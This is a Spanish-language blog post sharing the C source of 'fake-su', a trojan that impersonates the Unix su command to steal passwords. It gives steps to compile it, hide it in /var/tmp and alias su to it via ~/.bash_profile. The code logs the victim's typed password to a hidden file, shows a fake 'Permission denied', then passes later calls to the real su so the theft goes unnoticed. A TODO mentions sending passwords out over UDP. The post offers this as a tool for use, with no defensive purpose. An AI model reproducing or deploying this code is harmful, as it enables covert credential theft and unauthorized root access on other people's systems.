fakesu.c
Posted by
nahual on
Random
Hace poco tuve la necesidad de poner un fakesu, y la verdad los que encontre y los scripts eran demaciado intrusivos y no tenian mucha opcion, esta es una version muuy rapida de fakesu donde hacemos locking (la mayoria solo toma el primer password) con archivos y guardamos todo en /var/tmp/, recuerden de hacer alias su=/var/tmp/.su o algo asi.
Sin mas preambulo lo ponemos aqui, ya que la pagina se ve bastante muerta.
/*
* fake-su.c
*
* fastly written by nahual
* god all the fakesu sucked
*
* Bastante sencillo:
*
* gcc -O2 -o .su fake-su.c
* mv .su /var/tmp/.su
* echo "alias su=/var/tmp/.su" >> ~/.bash_profile
* Y esperar ...
*
* El Nahual
*
* TODO:
* Agregar la posibilidad de que nos mande el password en un paquete UDP para logeo remoto.
*
*/
#include
#include
#include
#define SU "/bin/su"
#define PASSWD "/var/tmp/.passwd"
#define LOCK "/var/tmp/.su.lock"
extern char **environ;
int main(int argc, char **argv) {
char *pass;
char *user;
char *ruser;
FILE *inFile;
switch(argc) {
case 1:
user = "root";
break;
case 2:
if(!strncmp("-", argv[1], 1)) {
user = "root";
}
else {
user = argv[1];
}
break;
case 3:
user = argv[2];
break;
}
//Esta el lockfile ya le grabamos una vez, lo dejamos en paz
if((inFile = fopen(LOCK, "r")) != NULL) {
unlink(LOCK);
argv[0] = SU;
execve(argv[0], argv, environ);
}
//Okas ahora lo ponemos en el file pero como tenemos "delay" vamos a grabarlo y luego hacer execle al su real
if((inFile = fopen(PASSWD, "a+")) == NULL) {
execle(SU, SU, argv[1], argv[2], NULL, environ);
//Si definido DEBUG hablamos .. si no .. calladitos nos vemos mas bonitos
#ifdef DEBUG
perror("open() on PASSWD file");
#endif
}
//Okas agarramos el password ya
pass = getpass("Password: ");
ruser = getenv("USER");
fprintf(inFile, "%s tried %s / %s\n", ruser, user, pass);
fclose(inFile);
inFile = fopen(LOCK, "w");
fclose(inFile);
printf("su: Permission denied\nSorry\n");
return 0;
}